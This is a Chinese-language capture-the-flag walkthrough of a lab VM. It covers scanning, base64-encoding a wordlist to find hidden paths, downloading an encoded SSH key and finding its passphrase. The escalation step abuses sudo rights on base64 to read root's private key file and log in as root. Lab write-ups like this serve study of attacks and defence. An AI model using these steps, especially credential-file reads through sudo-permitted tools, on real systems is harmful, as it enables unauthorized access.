前言:
KALI攻击机:192.168.1.128
靶机地址:192.168.1.17
- 信息收集阶段:

nmap -A 192.168.1.17

发现开启了22端口和80端口:
- 漏洞利用阶段
访问一下80端口:

有一串:
QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK
我们查看一下源码:
我们把那串编码解码下看看!!!

echo "QUxMLCBhYnNvbHV0ZWx5IEFMTCB0aGF0IHlvdSBuZWVkIGlzIGluIEJBU0U2NC4KSW5jbHVkaW5nIHRoZSBwYXNzd29yZCB0aGF0IHlvdSBuZWVkIDopClJlbWVtYmVyLCBCQVNFNjQgaGFzIHRoZSBhbnN3ZXIgdG8gYWxsIHlvdXIgcXVlc3Rpb25zLgotbHVjYXMK " | base64 -d

你所需要的所有数据都需要base64编码?包括你需要的密码,记住BAS64是所有问题的答案!!--lucas!!!
接下俩,我们需要进行目录扫描,但是由于上面的提示信息,我们首先需要把字典通过base64进行编码!!!
for i in $(cat /usr/share/wordlists/SecLists-2022.1/Discovery/Web-Content/common.txt);do echo $i | base64 >> dict64.txt;done

gobuster dir -u http://192.168.1.17 -w dict64.txt
扫出来2个目录!!!

访问下看看:
http://192.168.1.17/aWRfcnNhCg==
下载下来一个文件!!!看着像base64!!

cat /root/Downloads/aWRfcnNhCg=\= | base64 -d ,像是密钥文件!!!

还有一个文件:http://192.168.1.17/cm9ib3RzLnR4dAo= 这里啥也没有!!!

这里,我们把刚才发现的密钥文件生成id文件!!!
cat /root/Downloads/aWRfcnNhCg=\= | base64 -d >> id
用户是lucas,使用密钥文件!!!
chmod 600 id!!!
ssh -i id lucas@192.168.1.17

这个密钥需要key!!!!
可以在哪呢?在这呢!!!
但是这个需要base64加密!!!

这里我们写个脚本对这个文件进行base64加密!!
for i in $(cat pass.txt);do echo $i | base64 >> pass2.txt;done

第一个就是key!!!


cat user.txt
*************!!!(原谅我,你自己坐下吧)
- 权限提升阶段
接下来,我们需要进行root权限提升!!!
我们看下:lucas可以执行sudo权限:

这里,我们对root的密钥加密再解密!!
sudo base64 " / root /. ssh / id_rsa " | base64 -- decode >> rootid

chmod 600 rootid
ssh -i rootid root@127.0.0.1

最后一个root flag:***********